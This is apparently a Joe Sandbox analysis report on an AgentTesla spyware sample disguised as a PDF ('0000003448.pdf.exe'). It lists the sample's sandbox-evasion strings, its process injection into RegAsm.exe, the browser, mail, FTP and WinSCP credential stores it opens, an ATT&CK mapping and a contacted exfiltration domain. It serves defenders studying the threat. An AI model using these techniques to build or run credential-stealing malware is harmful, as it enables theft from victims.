Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1198078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197749	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197640	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 1197531	Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: VMware
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: RegAsm.exe, 0000000A.00000002.3727132025.000000000423C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3727132025.000000000425C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3727132025.00000000041BC000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3727132025.00000000041DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 9Hob0J1KNWNWC1i0/u1N6Hxfb+Uvn2N2JMfMEQMM+xyKY/iTSJIHgfSrloXJZ42t0KsS
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.13.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: vmci.sys
Source: RegAsm.exe, 0000000A.00000002.3734838812.0000000006461000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll9
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: 0000003448.pdf.exe, 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: hgfsZrw6
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.13.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.13.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: 0000003448.pdf.exe, 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.13.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\0000003448.pdf.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\0000003448.pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\0000003448.pdf.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\0000003448.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11E8008	Jump to behavior

Source: C:\Users\user\Desktop\0000003448.pdf.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\0000003448.pdf.exe	Queries volume information: C:\Users\user\Desktop\0000003448.pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\0000003448.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\0000003448.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475ead5740.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475eb2b178.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475eb2b178.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0000003448.pdf.exe PID: 2520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7360, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475ead5740.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475eb2b178.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475eb2b178.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0000003448.pdf.exe PID: 2520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7360, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475ead5740.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475eb2b178.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.0000003448.pdf.exe.2475eb2b178.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0000003448.pdf.exe PID: 2520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7360, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	211 Process Injection	1 Deobfuscate/Decode Files or Information	21 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Obfuscated Files or Information	1 Credentials in Registry	231 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	1 Process Discovery	Distributed Component Object Model	21 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0000003448.pdf.exe	61%	ReversingLabs	Win64.Spyware.Negasteal
0000003448.pdf.exe	67%	Virustotal		Browse
0000003448.pdf.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
api.ipify.org	1%	Virustotal	Browse
drconstrucciones.es	0%	Virustotal	Browse
mail.drconstrucciones.es	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://drconstrucciones.es	0%	Virustotal		Browse
http://mail.drconstrucciones.es	0%	Avira URL Cloud	safe
http://drconstrucciones.es	0%	Avira URL Cloud	safe
http://mail.drconstrucciones.es	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.13.205	true	false	1%, Virustotal, Browse	unknown
drconstrucciones.es	185.5.126.24	true	true	0%, Virustotal, Browse	unknown
mail.drconstrucciones.es	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.ipify.org	0000003448.pdf.exe, 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003131000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.13.dr	false	URL Reputation: safe	unknown
https://account.dyn.com/	0000003448.pdf.exe, 00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegAsm.exe, 0000000A.00000002.3722883253.0000000003131000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://drconstrucciones.es	RegAsm.exe, 0000000A.00000002.3722883253.0000000003602000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003296000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003461000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000031FA000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003332000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003411000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003578000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000035BD000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000034DC000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://mail.drconstrucciones.es	RegAsm.exe, 0000000A.00000002.3722883253.0000000003602000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003296000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003461000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000031FA000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003332000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003411000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.0000000003578000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000035BD000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.3722883253.00000000034DC000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.5.126.24	drconstrucciones.es	Spain		202207	EAMES	true
104.26.13.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1447926
Start date and time:	2024-05-27 12:41:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0000003448.pdf.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@4/5@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 53% Number of executed functions: 157 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 0000003448.pdf.exe, PID 2520 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:42:47	API Interceptor	9432145x Sleep call for process: RegAsm.exe modified
08:29:41	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.13.205	ReturnLegend.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SecuriteInfo.com.Trojan.DownLoaderNET.960.9931.28151.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	ArenaWarSetup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	E4sbo4F6Sz.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	SecuriteInfo.com.Win64.RATX-gen.31127.4101.exe	Get hash	malicious	PureLog Stealer, Targeted Ransomware	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	Stamp invoice copy.xls.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	GestorRemesasCONFIRMIMING.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	DRAWING_SHEET_P02405912916 .exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	proforma invoice.bit.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
